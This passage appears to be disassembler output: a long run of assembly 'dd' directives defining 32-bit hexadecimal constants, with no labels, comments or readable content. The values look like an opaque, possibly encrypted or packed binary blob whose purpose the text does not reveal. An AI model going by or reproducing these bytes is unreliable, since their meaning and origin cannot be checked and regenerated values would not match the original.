		dd 7D019C7h, 0E72603C4h, 0CA04652Dh, 6AD7C53Bh,	0ADD94565h
		dd 8415E7E0h, 26ADDA04h, 0C6A841F7h, 0C7C5B3ECh, 0AAF0F31Ch
		dd 0E5C71FEDh, 0B3ACA061h, 45E9F7C4h, 536DF2C5h, 0C5796341h
		dd 0E7DB2DE4h, 0DE8441A5h, 69F795EDh, 0EDEA87A4h, 5927E704h
		dd 0EC2D9A5Eh, 8771ADF7h, 7153EDE5h, 0A575C0F0h, 0A131C92Dh
		dd 31EC8775h, 8469F7C2h, 0CE31EC47h, 0C6B469F7h, 0F7CC31ECh
		dd 0CAC5456Bh, 1B12603Bh, 0ED9EB2D4h, 75E5111Eh, 1EEDC804h
		dd 85D8B601h, 0E7F7ADEDh, 0C9856DA2h, 6BB137BAh, 39C0C57Dh
		dd 45A9E7B6h, 0DD2DCCC5h
		dd 0C5B6DDE7h, 0E7102DCCh, 0CCC5A2DDh, 0DDE7562Dh, 72E1C724h
		dd 716BF7C5h, 6552E5C6h, 7556BF7h, 0C71B42FEh, 0C2047167h
		dd 0ADF705EDh, 0BCF04675h, 0B9E81BCh, 0DAADE5C7h, 98E8CBC7h
		dd 0E786EDAAh, 12DB412Ch, 6FE7B22Dh, 6DF54641h,	808402C5h
		dd 176D9BFAh, 0C7A439E7h, 0F7F46DE8h, 0F68665E1h, 62D79FBAh
		dd 0AD40FB65h, 41E5E7D5h, 8EADD746h, 3B71A72Ah,	0C9462D8h
		dd 0F7C79097h, 511EC5ADh, 0ADEC4680h, 20970E93h, 9FFCF47Ah
		dd 5B51A6E7h, 0C7F8AD6Ch, 8D214527h, 0E7E7F8ADh, 0AD892145h
		dd 0F87620FBh, 0E2B4EE04h, 0C6335CD7h, 0E72172E3h, 0CC85A6DDh
		dd 0B0C7672Dh, 2DCC45E6h, 0CCF55043h, 0EAEDE2C7h, 471A6C7h
		dd 0D7C5EDF2h, 0D1C56122h, 0E4F7B8EDh, 0ADE2C479h, 65EDA3F1h
		dd 0DC2D0CF9h, 0E169A5F7h, 0D729ED99h, 0D0056F33h, 0A9F7BC8Ch
		dd 9CD80459h, 0F7BDF797h, 9534DB44h, 44C3BDF7h,	0F78B74C0h
		dd 0C044DBBDh, 0BDF78974h, 74C004F3h, 0C7BDF78Fh, 8D74C004h
		dd 84C7BDF7h, 0F78374C0h, 0B53748BDh, 25B1276Dh, 0EDD64665h
		dd 75A3339Eh, 48F2E047h, 619007E7h, 0F7C5EDA4h,	0F9C7107Eh
		dd 2DB3652Dh, 6DD10471h, 0ACA0D747h, 0E62DD805h, 85596D01h
		dd 99BAADE2h, 7C22E97Bh, 6BB3DBEDh, 7CE08469h, 796A2CFCh
		dd 6EDEA44h, 0DE7D60E7h, 0E7BCF7B9h, 0C1C7FCB4h, 39E7DB01h
		dd 0C0DBC7D8h, 0C7C7838Ch, 8CADE646h, 4D492D81h, 0C7FDBA93h
		dd 0D8845481h, 0AD70F7F7h, 0F0DDC561h, 8C7DF7E5h, 0E7ED95B8h
		dd 614DA2F7h, 61FEBCB4h, 0DA068051h, 6EF7A476h,	0AD9A9571h
		dd 0E7801A88h, 24B7C785h, 7D4F4B5h, 0C7F474C0h,	0AD8870C7h
		dd 0A2E78DEDh, 3BE9056Dh, 0D4F75104h, 0B22DE207h, 0E36CF500h
		dd 436DEDBEh, 0C487F40Ch, 0E9D7C547h, 0BCFC4565h, 0A8ABD7F5h
		dd 0D734943Ah, 0EF84A8C7h, 0D79B6DA8h, 0A5AF5C47h, 0FD83202Dh
		dd 0FCE705F4h, 0E7F06530h, 65A7DD2Ch, 6D79A2A3h, 0E7DAB698h
		dd 0AD324DE0h, 0AB50B62Dh, 88DEC471h, 516EE2D7h, 42ADFE04h
		dd 6F612C61h, 0F7712D4Eh, 0D184CC06h, 6F7F3ADh,	0ADD1C5C0h
		dd 4D61E795h, 25ED97E0h, 0C467B0D7h, 0C7CB77FBh, 78315965h
		dd 92C7D4ADh, 7FE8C7E4h, 0E8BFF752h, 1FFFC705h,	0C56375A1h
		dd 0E7B16DEEh, 0CFC769A5h, 0D1C787F2h, 0ADED4643h, 516D436Dh
		dd 1B6DADE1h, 6F605741h, 73443F5Fh, 0C7467D6Bh,	75A5E5C7h
		dd 0ED88EBCDh, 7561E707h, 976DE0C5h, 457DA2E7h,	0C7B42DD3h
		dd 0B22EF0F0h, 2EE7B677h, 0EDF40475h, 6D67D783h, 0DB2DF4C6h
		dd 47C90CC7h, 0B352C7C7h, 0E3476D6Bh, 8CF7F903h, 2DCC84E6h
		dd 7047D789h, 0EBEDEB04h, 471A391h, 0D7D5FECCh,	0DD057B15h
		dd 0C7C7E56Dh, 0F4F70540h, 61E5D77Ah, 0D6D9A81h, 0AA0727D7h
		dd 0B32DED85h, 0E78451A5h, 29419AFCh, 34DC8669h, 18082325h
		dd 0BC47BD7Fh, 2FC05840h, 70BEDCA3h, 0E68775A2h, 25D7D56Dh
		dd 0E4A2A124h, 41ADA1A1h, 0C53F9C8Dh, 8465A0C7h, 0E7C576F1h
		dd 0F304A46Ah, 22F70738h, 0B1CEC675h, 79EDF7E0h, 59FED346h
		dd 2F452541h, 0E0A93965h, 0BC157522h, 252D15ADh, 89AC736Dh
		dd 1F21D7F8h, 81EDC805h, 0C560F061h, 430AADE3h,	0E08680E9h
		dd 6BF2CB2Dh, 0FCE78645h, 643F61AAh, 0AABBF547h, 6371A571h
		dd 7D356D90h, 0E687F4BFh, 20C7F887h, 7443384Dh,	0F08183DBh
		dd 56DA563h, 473012EEh,	6142FCE7h, 0F545796Ch, 61F7B4C6h
		dd 6DE6447Dh, 0FCCAC7EBh, 0F5ADE5C5h, 4F05DF7h,	0D72F2DD6h
		dd 8CABD48Dh, 0F5C7452Dh, 5E51CF58h, 796B5303h,	0C5ADECC5h
		dd 0C5302ED7h, 0F79801E1h, 0FB460069h, 0A4EEC9ADh, 76B14D88h
		dd 0E41DF7C3h, 0E1FE8F7Bh, 855B86E7h, 603F79E6h, 0F4C5756Ch
		dd 0A1F754ADh, 0EDD50765h, 5DEE31B2h, 6D6D89AFh, 0C5F8FD43h
		dd 8AA579E6h, 9363B36Ah, 0F0A3DB2Dh, 2D887B4Ch,	62C2A3DBh
		dd 243682D1h, 0C541A2A5h, 613DADC3h, 0EC447DAEh, 3E90196Dh
		dd 0B0BAB094h, 716B3BE6h, 0B481DF46h, 4ED0CE8Ah, 0A03BED37h
		dd 0D0C5B8C6h, 84E78307h, 6DD2C598h, 796B91A6h,	0E678E306h
		dd 4659A2B3h, 0C751EDD6h, 0E085B3BDh, 22D7516Dh, 0ADD98561h
		dd 69E921C7h, 18EDEE04h, 0C76968E7h, 0D7E52DF7h, 0CC864DAAh
		dd 0A2F78481h, 6DEEC675h, 4D6DD7D3h, 0ECADD006h, 0F80AD30h
		dd 0E7A7AD98h, 0F685E159h, 0AAD7D434h, 0EFCAA61h, 49E9D707h
		dd 0B22DE2C5h, 47D4F851h, 0D78834D5h, 77E141A9h, 0E9607EF4h
		dd 0AD9AE159h, 0BBBBD764h, 0CBF4863Dh, 846D6CF7h, 0D730ADF5h
		dd 0BEEC59E0h, 0E9B1A334h, 0B7C30565h, 516DF7ABh, 0A6DE984h
		dd 0C5E858BCh, 0C7C731DAh, 0CEC45D25h, 2DF7D62Dh, 0D6C771h
		dd 7DA9C72Fh, 657EE8C4h, 0EEA788C7h, 0D7E3AD91h, 0E5C65D6Dh
		dd 0E6E7AB6Dh, 7FAAAC51h, 8C7AC7A6h, 5476B0AFh,	565E5F7h
		dd 2324ADE5h, 0C587D44Eh, 0AAD78434h, 4023695Dh, 0A0FA11C6h
		dd 0AEF8B2F6h, 85756BD7h, 58FEB0DEh, 0EC464967h, 0E5803BEDh
		dd 0EDEE0475h, 5DE7A220h, 7478491h, 4745A2F7h, 0E7B8EDCEh
		dd 9DBF692Fh, 25A03B6Dh, 0EDF10471h, 51AEF71Ah,	70337F42h
		dd 456563C7h, 0E7892DCDh, 0A1D7756Ah, 43E7E62Dh, 6DEE47D4h
		dd 12CFE78Ah, 0C9ADE8C7h, 75D6BE7h, 0A03B7BC9h,	0D1844165h
		dd 0A562F8ADh, 0ADB22355h, 75E6600Ch, 0E22D8D5Fh, 2F070F71h
		dd 0C7F834BAh, 0B42F4561h, 0A1E77A36h, 0F694DD79h, 0D4F4F7CAh
		dd 0C630DFC7h, 0B08C97F7h, 719BEDA6h, 0C8C645ADh, 0E1F7DD0Eh
		dd 0ADA6E169h, 69E1D7B3h, 84AD9BC9h, 0E038E01h,	0E7867398h
		dd 0F84687D5h, 227CCEADh, 0B1F4C755h, 49A9D7B8h, 0FFEDEA46h
		dd 0ABB00B41h, 0E77403B0h, 0E484000Fh, 49C7E4F8h, 4BC3BF9Ch
		dd 0A548C767h, 7737D747h, 4765A270h, 0C7782DCDh, 80D775E9h
		dd 603033ADh, 849A3F71h, 49ADA11Bh, 0FAB4EF86h,	84180FE7h
		dd 0A11FADFBh, 511275E8h, 6BE7336Dh, 2DC0455Dh,	71EDB19Bh
		dd 652DF1C6h, 0C66969B3h, 0D75B2DF2h, 0DCC4B895h, 0A320242Dh
		dd 6D959B4Dh, 4DEA3243h, 432D9F9Bh, 9B7D6622h, 0D71BEDBCh
		dd 0D9468495h, 0A46D6D2Dh, 2D9622B0h, 69252E08h, 9FB1D4C6h
		dd 0C4D716C7h, 2176EDC1h, 0D6C55561h, 66D758EDh, 2DD0C555h
		dd 748CF7FBh, 74EDFB04h, 65DEDD7h, 0F779EDC8h, 0B66C7DEAh
		dd 0A7E779EDh, 0ED816C7Dh, 4524D738h, 0C2DE746h, 0C545E16Dh
		dd 432FEDE8h, 91227120h, 981D6A6Dh, 47F00494h, 5D65E7F7h
		dd 852DE684h, 7556AF7h,	0C779FFCEh, 0AFE15DA4h,	0A293A12Dh
		dd 2DCDC55Dh, 8EDAF701h, 0DFF46936h, 6165ADF7h,	0BF2CED33h
		dd 0C9C749A0h, 4CD7B12Dh, 6DE8C5D4h, 5DE5F7F7h,	0E5F5A5E1h
		dd 0C54521B3h, 0D7A7ADD2h, 0FAC4416Dh, 0A5E708F6h, 2DCEC461h
		dd 49A0C7F0h, 952DF5C7h, 0C5456AC7h, 0F707ADF2h, 93A06162h
		dd 0BBE7596Dh, 34C204F8h, 59A220FAh, 65ADCFC5h,	6D010F7h
		dd 0E7B06DEDh, 9BB1792Ah, 60E7E52Dh, 0EDEF4649h, 452AA1F9h
		dd 9AB4933Eh, 0C465E5E7h, 0D7A5ADCFh, 0F804612Ah, 0A5E7B973h
		dd 0EDAB3F5Dh, 444AF7B1h, 0DF74A22Eh, 0D979A4C7h, 0D7E2F19Fh
		dd 0F6C56C0Dh, 0A1B17172h, 0EDC6C55Dh, 7DE4E7B4h, 0A4B4BD63h
		dd 0C4FCC340h, 0F730EDD9h, 0E00588B9h, 60E7F0EDh, 0AD869A49h
		dd 9885E72Bh, 0EE74D384h, 54566F7h, 0C7F3ADD0h,	0E105F4BEh
		dd 79D7E23Ch, 74D98544h, 65ADE7F4h, 9AEDB5C2h, 3241AA71h
		dd 0E778349Ch, 0CB464526h, 0F5E7F4ADh, 7493E9F0h, 0D5F8C7E9h
		dd 92ADAD23h, 4271E88Bh
		dd 62A12D09h, 8962C4FAh, 0E9E7DFEDh, 6D1D4271h,	0E7FAA39Ch
		dd 0F574D9C4h, 85DF38F7h, 0D7633CE1h, 0C7857C79h, 0BBF78234h
		dd 0ADA1237Ch, 0DC72E7AEh, 6D6D6A6Ah, 2355E06Bh, 0AD0AADB5h
		dd 0BDC27524h, 6EE7ABEDh, 46DB0775h, 6DE5839Dh,	0DFF4E5C4h
		dd 44C4FB81h, 0E0B9CFC7h, 4F6D6DE3h, 271254B4h,	2D55E079h
		dd 7521C707h, 0A6EDDE44h, 575A1E7h, 312BF4E2h, 858161AFh
		dd 69C72B70h, 0EDCA0475h, 55E1F707h, 0A72DDA45h, 0C66D66D7h
		dd 0D765ADD1h, 0A423712Ah, 8FA191ADh, 5F812276h, 568F61AFh
		dd 0C72DDAC4h, 47E3C3F7h, 0C78747EBh, 0E84475A1h, 9F11A0Fh
		dd 0ADF50543h, 4DA2E7EEh, 0CDB6DAC5h, 5F54851h,	0C7E807C1h
		dd 0D584E548h, 0E66DDCEDh, 0ADF5AE4Dh, 648BB0C7h, 5C1FFFC4h
		dd 0C7E48941h, 534387C4h, 0F40541E4h, 354016EDh, 0EDD606E4h
		dd 61A593D5h, 0B82DCD84h, 220EDD7h, 81E6AD81h, 0CDC55563h
		dd 2CF7D9ADh, 2D8D6C4Dh, 7DEBC77Ah, 0C7B6A762h,	4D69AB00h
		dd 0E7DA768Fh, 0C345EC51h, 0AB217F3Ch, 0ADE8C769h, 452AD7DAh
		dd 32EDEC46h, 46C4D36Ch, 33376DF1h, 0F64644D1h,	603247ADh
		dd 0B9E9C669h, 0EC43C781h, 0D6EDE1C6h, 5712261h, 5293F4E2h
		dd 0D884A4E1h, 0A0C7CBB6h, 0EDA8CB41h, 412A1D04h, 0DC2DF346h
		dd 0C47406C7h, 0D7E4EDC1h, 0F584F4F7h, 0B5D7EBEDh, 0EDB161E8h
		dd 69E91D17h, 0D3B9EE84h, 6C4DECE7h, 0D7A82D9Ah, 9833DB9Dh
		dd 9CE7C9B6h, 6DA0EF78h, 41A2F758h, 0AFADCDC4h,	83C4F520h
		dd 0F7A0ED8Eh, 95EADF8Dh, 27F7F834h, 4E9A2B79h,	0B88F01BAh
		dd 0D07487E1h, 0C47DA991h, 0E77456CCh, 812853DEh, 0ED13C56Dh
		dd 0EDE1C45Dh, 49A50172h, 7FEDED46h, 287DE4E7h,	51EC36A0h
		dd 9D2851E0h, 6D130BADh, 0ADFBC67Dh, 0E4D1F733h, 0E5ADCD85h
		dd 0C8792CC7h, 0C79D6DBCh, 9FF44006h, 0CCC7187Ch, 84E2C5D4h
		dd 75A7E774h, 5DEDA2C2h, 75DECA1h, 0D7EECEDFh, 0EFC7AEE1h
		dd 0A18D9191h, 91EF0434h, 0BEE1D7EAh, 0F491EF44h, 8486E1D7h
		dd 0D7F791EFh, 0EFC48EE1h, 26F7F091h, 81606B4Dh, 8F61C7ABh
		dd 0DFEDE844h, 4B65A8D7h, 0F787ADBCh, 0D3065522h, 10D7FD74h
		dd 0EDB6C274h, 0D417610Ch, 45EDA123h, 85A26CC7h, 1F7D81EFh
		dd 6AAA75EDh, 6FF74CB6h, 2D9936BBh, 0D8C85EC6h,	0D42D85A8h
		dd 6F7921B3h, 0D7FBED9Ch, 0AD70ECCBh, 0EA73CDADh, 39902EACh
		dd 206A4118h, 643990E9h, 0A9246A01h, 1A03990h, 0E3C4C431h
		dd 0D7C78737h, 7FAAA24Bh, 6526B0C4h, 17ED6E09h,	43CA183h
		dd 0EA17B6C1h, 928161E7h, 2EF741B7h, 2D8D4D69h,	7DEBE748h
		dd 4B7EA662h, 5730E691h, 0F71DAD8Bh, 6AB0FF52h,	30F77DB6h
		dd 0F3728B86h, 69E71186h, 0A87C476Bh, 62EE9901h, 3AB6DBCh
		dd 80B5163h, 2D812F16h,	7C87C849h, 496BE7E7h, 5C2DD886h
		dd 23E4FDA1h, 0E7FFADB2h, 985549A1h, 24D7CAB6h,	6DE00687h
		dd 49631186h, 0DDEDD0C7h, 44445ED7h, 0D22FEDDDh, 0F30659A0h
		dd 27E7FF2Dh, 6D46F241h, 509CE7CEh, 91ED85D2h, 0D2D359AEh
		dd 9E91EDBDh, 0A6F2D31Bh, 59E7AA6Dh, 6DC6C5E7h,	45A23D01h
		dd 0FE6DC445h, 526C5ED7h, 0C7F96D44h, 446A9B85h, 5ED7F86Dh
		dd 0EDE0C678h, 6922BC50h, 1FBE2C5h, 4579632Dh, 8C09EDE1h
		dd 86CB8BB8h, 0A22D046Dh, 74DFC461h, 79A11F51h,	4B2DCD84h
		dd 0AA55E4C7h, 0C72FADD1h, 0FF6ADD9Bh, 6D3B18EDh, 74EE045Dh
		dd 825C464h, 24F2C8C7h,	6596BE7h, 81C5F8DDh, 0A6014C02h
		dd 0A7E7DE6Dh, 0ADED4761h, 5CB5D7A9h, 0E0F49B20h, 47616EF7h
		dd 0C795C6C6h, 0EAC559A0h, 0B1D7216Dh, 0EDA4AF6Ch, 0C45D9334h
		dd 0C773C085h, 474F4F7h, 0B17EADD6h, 0E4454960h, 20F7F82Dh
		dd 0ADD1C445h, 45EDD776h, 0F8EDE046h, 0FE6966C7h, 5C54ED8Eh
		dd 0A0A061E4h, 0F7E7A86Dh, 0EDAD76C3h, 0C043C702h, 0A16DF846h
		dd 86942883h, 6E1DEDE6h, 0E2C49608h, 0E56253BCh, 6D42BE5Dh
		dd 516DB334h, 9B2DF9C4h, 3E7DE674h, 0F22F2D19h,	0E7C7556Bh
		dd 0A40860E2h, 234D1E7Dh, 0AB54E7DBh, 0DF43CBC5h, 47564F7h
		dd 4015EDD0h, 0BFFE69A7h, 0ADA1B1EDh, 0BCE28461h, 7DAE6211h
		dd 7CCA1C3Eh, 41A617E7h, 0C71FEDA5h, 0B5215DA9h, 6BE793EDh
		dd 0EDFD8651h, 45ECD79Fh, 0B4F9C5B8h, 865165E7h, 0D7E6BECFh
		dd 0F885A4E6h, 0ABE7B22Dh, 74B1FB7Dh, 5520F1D2h, 92ADF546h
		dd 5E7DA5C7h, 81E576A1h, 0D806B41Dh, 5DE7C5B6h,	2DCC8440h
		dd 0A517E7F3h, 0C52D8CE1h, 740F4F7h, 429F2DCFh,	9B7FB0CFh
		dd 0CC83A16Dh, 0FCF447D8h, 79EFC7AEh, 54AD7A3Fh, 475A560h
		dd 0CD3ADEFh, 0D8459391h, 0C8729FEDh, 23D38517h, 4D294212h
		dd 55CA327Eh, 6A64BC7h,	0D780C4E6h, 6E788ECBh, 24C71FDCh
		dd 0F4E57E7Dh, 0DFF7C7DFh, 275AF9C5h, 0FB65EBA3h, 24C162EDh
		dd 0D77BAB5Ch, 88E7B33Eh, 0FCED878Ch, 55E1E7DFh, 142D9AEBh
		dd 456DE5E7h, 0C74742D3h, 0A741A94Bh, 9BD71FB7h, 33E605BFh
		dd 0DCFCE76Fh, 0E674F585h, 47161E7h, 0A327ADD6h, 4D616D68h
		dd 0B104FAEDh, 2D8EC0D0h, 6475D72Dh, 0E1C4C786h, 0C64475D7h
		dd 0D724C4C7h, 0E7C66475h, 248DB6A4h, 0BC75C045h, 0EBDEB320h
		dd 3DA4FEA0h, 0C549A2BBh, 0D7892DCDh, 442069AAh, 0A1BD1DEDh
		dd 34F00675h, 0DCD3D707h, 0D2DCD84h, 206928E7h,	2DB52DACh
		dd 0BDC375E4h, 9043A031h, 76EF46F4h, 59A30330h,	95EDCDC5h
		dd 46F475D7h, 91D404C7h, 0C4C4A47Fh, 0E8F7BCB0h, 868E48A8h
		dd 4884F78Bh, 41ED05FFh, 2BFC4654h, 6173BEBAh, 0E0C7456Bh
		dd 0E0D7DEADh, 0ADFD8755h, 7169E707h, 0B5F4ED05h, 8751E0A0h
		dd 0D7736DF9h, 0D1866167h, 0E0F722ADh, 0F7DE8751h, 45EFC726h
		dd 0B36DAC56h, 84716DB1h, 20A42DD5h, 0C70745AAh, 0A073C504h
		dd 0AD7E6C69h, 45A7F705h, 5B6DF0C7h, 0C7F40CA2h, 0F75847FAh
		dd 0FF4679A1h, 6BE73232h, 0BEF94471h, 4DA00319h, 0DEB4B0ADh
		dd 67DE6D7h, 0E774ADF5h, 0E1855563h, 0A6F7877Ch, 2D4DAF5Dh
		dd 7569D752h, 0E62DA14Dh, 52432F7h, 0D7DFF7EAh,	0E4C6616Dh
		dd 65E7DB2Dh, 2DC5C769h, 41E9F726h, 7EDF106h, 0C769E8E7h
		dd 21AE2DCFh, 92C184E6h, 64D7532Dh, 2DD2866Dh, 61E7D751h
		dd 0DFEDE686h, 0C4EFCA4Dh, 0F7DD77EDh, 0E2C57DA2h, 55D8C37h
		dd 2D8D2D48h, 6968D74Dh, 0E3F18120h, 84600151h,	4132ADF4h
		dd 9BD02861h, 0B3E7C476h, 0EDFA4644h, 0C745E737h, 0D436C7C5h
		dd 0C5DCB131h, 0F77CADF4h, 0DA0665A7h, 77C77CADh, 0ADF40498h
		dd 7524E792h, 0B0ADD045h, 86696BE7h, 91E7ADECh,	0DB8440B3h
		dd 5DD7AEADh, 0ADDBC5ECh, 0E850F763h, 2DADD0C5h, 846896F7h
		dd 23B7F6C5h, 0ED445092h, 0A9638DADh, 77922361h, 716BE731h
		dd 29ADEF86h, 447D6B1Bh, 0F7D286C6h, 0E10565A5h, 3151717Ch
		dd 0EDC184D4h, 4CB18134h, 0E7AD4F68h, 0C4616BD7h, 0E7352DCDh
		dd 9DA064D0h, 450DA82Dh, 0ADFC06C4h, 596BF753h,	0D42D93A6h
		dd 44DA1E7h, 33FBEDEBh,	540855ECh, 0E7010576h, 2DE6067Dh
		dd 51A2F7EDh, 317ECA46h, 0ABC5DCE7h, 0E777F1F1h, 0FC8557D2h
		dd 5735ADE6h, 0C6C8C744h, 0CD12E7F6h, 77A6E729h, 0A865E52Fh
		dd 25FDA6FDh, 0BF225F53h, 0D2F7346Dh, 0EDA728C1h, 0D59D25FAh
		dd 6A66F1EBh, 4671CD2h,	25CFBED5h, 1B0BC5DEh, 992D8C6Dh
		dd 66F4EAD5h, 0F8DBDAFEh, 1F89E604h, 0C765EF3Fh, 0A13C7FFAh
		dd 0FB85F44Eh, 6EA029ADh, 0FCFFC565h, 49A5C71Fh, 0BA2DE305h
		dd 0C749A5D7h, 0E70D2DE3h
		dd 0E1448FA9h, 2490A8EDh, 96F4C551h, 71E3E70Dh,	62FBE5C7h
		dd 6CA4EBC7h, 0ECD4ED90h, 0C2C57D6Bh, 0A5FE1E21h, 0EDFF444Dh
		dd 0A84DC7F3h, 8B2DF705h, 4075ECE7h, 0F7A42D8Eh, 6C7659EFh
		dd 0E5C7E66Dh, 2DE4C769h, 61EDD7EDh, 9B6DA4B0h,	49743D7h
		dd 0F7292DCFh, 0C5074D69h, 6D93FC6Dh, 37F90661h, 6124519Dh
		dd 0A42DDBC6h, 5756DD7h, 0E7FD6DD0h, 0A86071ADh, 0E9E7E46Dh
		dd 0EDE1C749h, 3486D744h, 2580D904h, 0C54DEDD7h, 0E755F7C0h
		dd 0E4C461E7h, 0E5E75B6Dh, 0F8CB057Dh, 0E046D791h, 0C32D8DB1h
		dd 0E145A5C7h, 0E7AA6DA5h, 513241ACh, 6BF7A4ADh, 0BEF5C459h
		dd 75A1616Ah, 0A0EDE145h, 4ACCF8Eh, 11B4EDF2h, 926071A6h
		dd 0ED7E1ADh, 0EDA0AE9Ch, 65E9E705h, 9D31C185h,	844084F7h
		dd 0A0832DE6h, 0C48465E7h, 82F7E9B4h, 0B67C1018h, 4922F7E0h
		dd 5548FCC5h, 0D3273CD7h, 848C3785h, 0EBF3BD32h, 68844060h
		dd 0B4C473E4h, 0A97FD7EEh, 0B31C133h, 0F22BFAF7h, 1BA218DFh
		dd 0F105716Dh, 0A092F82Dh, 0ADD8C749h, 4D6DC7E6h, 0EA2DBE2Dh
		dd 0EF71E3F7h, 61842D9Dh, 997C7D2Ah, 0A2E779EDh, 0EDD9C559h
		dd 0CC73C738h, 8B3CC785h, 414DE5F7h, 0C7E62D8Eh, 0EBC7A8F6h
		dd 6BD7A52Dh, 6DDCC545h, 9F0FC7A7h, 21EDE7C6h, 4641E180h
		dd 5C022DF2h, 0BF7F49E8h, 2E4DC12Dh, 0B6FCC665h, 6122D7F0h
		dd 7DADD104h, 458889C7h, 0C734ADD1h, 0DA0587D1h, 42C766B3h
		dd 6DB49EE8h, 5966B3E7h, 48B48F3Dh, 6D4755Ch, 0F70504C7h
		dd 0CC456569h, 0CCC7002Dh, 0ADD104B2h, 65697442h, 52DCC85h
		dd 67C75E7h, 0F7F52DE4h, 0C04465A2h, 6BD7F573h,	33E40441h
		dd 7DA2F765h, 9D6DE684h, 0C7692AC7h, 0F7DA2DC3h, 0E4C5AC8Fh
		dd 5EC7566Dh, 0ADC6468Bh, 61E4E0D1h, 0B82DAD88h, 0C54926E7h
		dd 0D71F2DEDh, 0C7468409h, 0A1C7F8ADh, 0ED8EA365h, 7565503Ah
		dd 3AEDF704h, 471A540h,	0F758EDC3h, 84AE7DA9h, 69F785EDh
		dd 0ADE5C565h, 71A65328h, 0B82D9DBFh, 0E149A4E7h, 0BD5D2D9Dh
		dd 0DA467DEDh, 0F2D70A2Dh, 0FAA823ECh, 88F49031h, 61EDFF46h
		dd 0D9792904h, 2CE5ED6Eh, 0BED9716Bh, 86F7343Bh, 2DE6058Ch
		dd 6D24817Fh, 0CCAD8D0Fh, 658FBC7h, 0E7B1B4EBh,	0CDC58490h
		dd 0CBD76C2Dh, 0BE966C10h, 5169D72Bh, 0D5F2C004h, 0E0B057E7h
		dd 0F71AEDB1h, 0BDF641A5h, 25E7F9BFh, 0ADFDC741h, 456DF7E4h
		dd 0E7B2DC85h, 859452F7h, 0E7F76DECh, 0FC8459E4h, 63215DC6h
		dd 0C7FB0545h, 69A8D7E8h, 29F39220h, 0C7412AD7h, 0C7DCADD8h
		dd 0CDC56163h, 68C7922Dh, 0FB9B5365h, 716D714Ah, 2B2DC504h
		dd 0C51B6AF7h, 0E7D56DE8h, 68915475h, 66D7C9B0h, 0ADD1C669h
		dd 65AAC7F1h, 5EDE9C4h,	0C469A2F7h, 0D75A6DE6h,	0E885F850h
		dd 0E4808832h, 0ADE3C751h, 69E59203h, 3EB4427Bh, 3B45EC40h
		dd 0E7E82DDAh, 0CD847DEEh, 2AF7CB2Dh, 0ADBC5365h, 0BB99140Bh
		dd 99ADB5A3h, 1A75EA10h, 0F71FAD63h, 0DDC7496Ch, 0E3F71F2Dh
		dd 2DC3C661h, 4563C765h, 95F7F605h, 0C74835E7h,	0AEA2EDE8h
		dd 0DEC55DA5h, 99E0505Ah, 0ADCDC4B4h, 6125D7CDh, 0DF78804Fh
		dd 56527F7h, 9166F4DFh,	5041C8B3h, 1BC721ADh, 2DCDC5BCh
		dd 55EED784h, 0E2D0B9C1h, 4649A5C7h, 0A3E9EDFDh, 8EE3B1BFh
		dd 55E7EAD4h, 0ED9EBBD0h, 804AF71Bh, 3BADFAC7h,	38452010h
		dd 10C5ADBAh, 0B9205924h, 21D705EDh, 0F7C08565h, 0A88A5335h
		dd 146DAE42h, 447D6BE7h, 43F62DF3h, 47BB9CC6h, 0FFE793EDh
		dd 0AD917D8Fh, 7D2A1180h, 8C36C604h, 8861E6F7h,	0F779AD51h
		dd 0D5065DEDh, 0A2B3186Dh, 0ED6E7845h, 69E8A1D5h, 2BAD7BE2h
		dd 44BED263h, 0E7742DD2h, 0E4C55525h, 21F7B8EDh, 0ADF28469h
		dd 7126E786h, 532DE1C7h, 559ED93h, 0C70BEDE5h, 0C504B3CBh
		dd 0A901BBEDh, 47D6C665h, 5DA5104Ch, 0E032B2E0h, 0C56D63C7h
		dd 0D7746DECh, 0FDC5FCBDh, 127167ADh, 0EDE1C4BCh, 4925F71Fh
		dd 87EDDAC7h, 0E37922C7h, 0C787ED9Bh, 0BBAD6D20h, 0A3C7E4ADh
		dd 0ADEBC761h, 59E4B06Dh, 3334ED84h, 9161E1E7h,	0E705B88Ch
		dd 92F36D22h, 3FC76DB0h, 2DD3C5D7h, 6525F774h, 60ADD185h
		dd 84C875E7h, 0C7C57FEAh, 0CBC551A3h, 0A3C7052Dh, 0F4DE8545h
		dd 0FC76D76Ch, 0F4EDED44h, 43DCC6A1h, 0A1E7AD72h, 0DFC47D6Ah
		dd 3EB0B1FCh, 32E805D4h, 9072E7A5h, 60AD90DAh, 0B3D045E7h
		dd 918CBF8Ch, 0FD46C4F4h, 6653BF2Dh, 0F4EBC679h, 4524E7F8h
		dd 0BF2DA9E1h, 40416073h, 0C7C12D95h, 0BF8EF033h, 68E7A0B0h
		dd 0FCB68F51h, 452A50FCh, 0BFED8AE1h, 93BC6853h, 0C784F495h
		dd 0BABEABB1h, 35F784EDh, 0B7E4C7D0h, 45A1E754h, 0E6FFDCC7h
		dd 4645A0D7h, 0E71E2DCAh, 0EDC76835h, 0F30622Dh, 72E2C6E4h
		dd 45252007h, 0C1ADED44h, 8675283Ch, 0F707F4E9h, 0DEC54520h
		dd 21E7A2EDh, 0AD960F59h, 696DD7FFh, 1C7FDDC6h,	2ECF0E83h
		dd 0E786F898h, 0BDE665A6h, 0A5D707F4h, 0ADE1067Dh, 75A5E7E9h
		dd 0DBADAD2Ch, 0AF71ADB1h, 0E7BC6D66h, 0B761592Ah, 7AE7E6DEh
		dd 0BAE945D4h, 75A171E5h, 262DCE46h, 47D6BE7h, 0E7143FF0h
		dd 0C7C541E5h, 0ABE7B643h, 0B73EA365h, 609683C3h, 0DB3FCA45h
		dd 0AF71ABB1h, 0E776B04Eh, 0B0D5ED16h, 0E7E7053Fh, 37BF2149h
		dd 556DC7DFh, 754884Eh,	47C438D7h, 0E7A2F4E1h, 0D1C5456Fh
		dd 0FED7A3ADh, 0ADA2B8CCh, 0F035E789h, 0E6AD836Dh, 649AAD7h
		dd 51E534EDh, 0B1CDC8B2h, 4771E9F7h, 7EA60D18h,	61ED20FDh
		dd 28EDE646h, 641ED60h,	0C76BB7DCh, 0ED4741A3h,	0A661F8EDh
		dd 0B781EB69h, 4926C707h, 942DDD45h, 45792241h,	0A1BFADF2h
		dd 0F7057CBEh, 252D1CEDh, 0AD90EF55h, 74DDD726h, 0BB2DE5C7h
		dd 0E94525D7h, 61672D98h, 0E2464925h, 87D705EDh, 2DAE71FCh
		dd 7520D71Ah, 0ABB7B7CAh, 84DC0571h, 0F73337DFh, 0BDE1C63Fh
		dd 7E13A96Dh, 37BF2CFFh, 64C141E9h, 9B3E0C4h, 0D4696E8Dh
